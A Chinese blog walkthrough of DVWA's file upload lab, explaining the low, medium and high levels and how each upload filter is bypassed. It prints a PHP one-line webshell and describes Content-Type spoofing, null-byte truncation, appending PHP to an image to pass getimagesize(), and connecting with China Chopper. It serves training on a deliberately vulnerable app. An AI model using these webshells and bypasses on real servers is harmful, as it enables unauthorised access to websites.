dvwa中的文件上传模块解析

文件上传原理

原理:文件上传就是对服务端上传文件,因服务端对文件类型过滤不严格导致恶意文件被解析,导致服务端的权限泄露。

文件上传的条件:
1.可以上传文件
2.上传的文件可以被服务器解析
3.可以找到上传文件的路径

dvwa练习

LOW

我们先看看low级别的代码
在这里插入图片描述1.首先使用isset()函数进行变量测试们是否点击了upload
2.然后进行一个变量上传路径的定义。用.=进行连续变量定义。
3.对文件是否上传到临时目录进行判断

从源代码我们可以看出并没有对上传文件进行任何过滤

我们直接上传一个一句话<?php @eval($_POST['1']); ?>
在这里插入图片描述然后是使用中国菜刀进行连接

在这里插入图片描述在这里插入图片描述
连接成功

MEDIUM
在这里插入图片描述我们试着上传一下,可以看出对我们上传文件的类型进行了一个规定

来看一看源码
在这里插入图片描述1.basename规定了上传路径和拓展名
2.进行变量的赋值,然后进行过滤
3.根据上传文件是否匹对,返回结果
4.没有对拓展名进行过滤

在这里插入图片描述Content-Type: application/octet-stream改为image/jpeg
上传成功。使用菜刀解析php文件。

方法二
在php版本小于5.3.4时可以利用00截断
1.我们更改文件名,‘1.phpX.jpeg’ X可以为任意符号,然后我们查找一下他的十六进制数,再到拦截包里的hex数组中找到进制数,用00进行替换,我们就可以看到文件名的jpeg被截断。
2.直接对文件名进行截断‘1.php%00.jpeg’,brup截断后再convert用url编码进行解码。

HIGH
在这里插入图片描述从源代码我们可以看出uploaded_ext被赋值,文件拓展名被进行过滤。

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
语法格式:
array getimagesize ( string KaTeX parse error: Expected 'EOF', got '&' at position 19: …ename [, array &̲imageinfo ] )

getimagesize() 函数会判定文件内容是不是图片,所以我们再更改拓展名后还需要再php文件里加入图片的头部。

getimagesize() 函数绕过
使用cpoy命令把一句话写入图片底部。
copy /b 1.jpg+1.php
在这里插入图片描述
也可以再我们的php文件加入jpg或者png头部。也可以绕过。

最后利用文件包含进行php格式的运行。

在这里插入图片描述菜刀连接
在菜刀里进行登录,拿到cookie。
再去菜刀的文件管理就可以拿到webshell了。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210404095621385.png?x-oss-process=imagtnt e/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzUxODIyMjMw,size_16,color_FFFFFF,t_70)

总结一下我们绕过类型
1.黑名单的拓展名绕过(穷举法,brup)
2.content-type绕过
3.js验证绕过(一般抓不到网络包的,都是前端过滤)
①可以直接在网页源代码中去除js过滤,或者把源码拷贝出来,写入html文件,加入action绑定源网址。
②可以抓包,修改后缀名或者在jpg内容中添加php一句话。
4.头部验证绕过
5.iis6的文件夹解析漏洞和文件名漏洞
6.00截断
7.系统特性
①上传文件1.php:.jpg的时候,会在目录下声称空白文件,我们在进行一个文件输入。filename.<<<

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值